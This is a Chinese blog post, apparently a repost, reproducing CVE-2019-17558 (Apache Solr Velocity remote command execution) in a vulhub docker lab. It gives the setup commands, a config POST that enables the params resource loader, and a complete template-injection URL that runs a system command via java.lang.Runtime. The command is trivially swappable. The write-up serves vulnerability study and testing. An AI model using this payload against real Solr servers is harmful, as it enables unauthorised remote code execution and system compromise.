当前位置:   article > 正文

Apache Solr Velocity远程命令执行漏洞(CVE-2019-17558)_cve-2019-17558 bash -c msg=invocation of method 't

cve-2019-17558 bash -c msg=invocation of method 'tochars' in class java.lang

Apache Solr Velocity远程命令执行漏洞(CVE-2019-17558)

前言

影响Apache Solr 8.1.1到8.2.0版本

环境搭建

启动docker

systemctl start docker
  • 1

获取vulhub

git clone --depth=1 https://github.com.cnpmjs.org/vulhub/vulhub.git
  • 1

进入对应目录

cd vulhub/solr/CVE-2019-17558/
  • 1

启动容器

docker-compose up -d
  • 1

查看容器

docker ps
  • 1

在这里插入图片描述

漏洞复现

首先,您需要通过以下API获取所有内核名称

http://192.168.164.162:8983/solr/admin/cores?indexInfo=false&wt=json
  • 1
{
  "responseHeader":{
    "status":0,
    "QTime":0},
  "initFailures":{},
  "status":{
    "demo":{
      "name":"demo",
      "instanceDir":"/var/solr/data/demo",
      "dataDir":"/var/solr/data/demo/data/",
      "config":"solrconfig.xml",
      "schema":"managed-schema",
      "startTime":"2020-07-06T12:16:23.482Z",
      "uptime":3756216}}}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14

启用配置params.resource.loader.enabled

POST /solr/demo/config HTTP/1.1
Host: 192.168.164.162:8983
Content-Type: application/json
Content-Length: 259

{
  "update-queryresponsewriter": {
    "startup": "lazy",
    "name": "velocity",
    "class": "solr.VelocityResponseWriter",
    "template.base.dir": "",
    "solr.resource.loader.enabled": "true",
    "params.resource.loader.enabled": "true"
  }
}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15

在这里插入图片描述
通过Velocity模板执行命令id

http://192.168.164.162:8983/solr/demo/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27id%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end
  • 1

修改exec(%27id%27)中的代码即可更改命令

参考文章

https://vulhub.org/#/environments/solr/CVE-2019-17558/

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/article/detail/58691
推荐阅读
相关标签
  

闽ICP备14008679号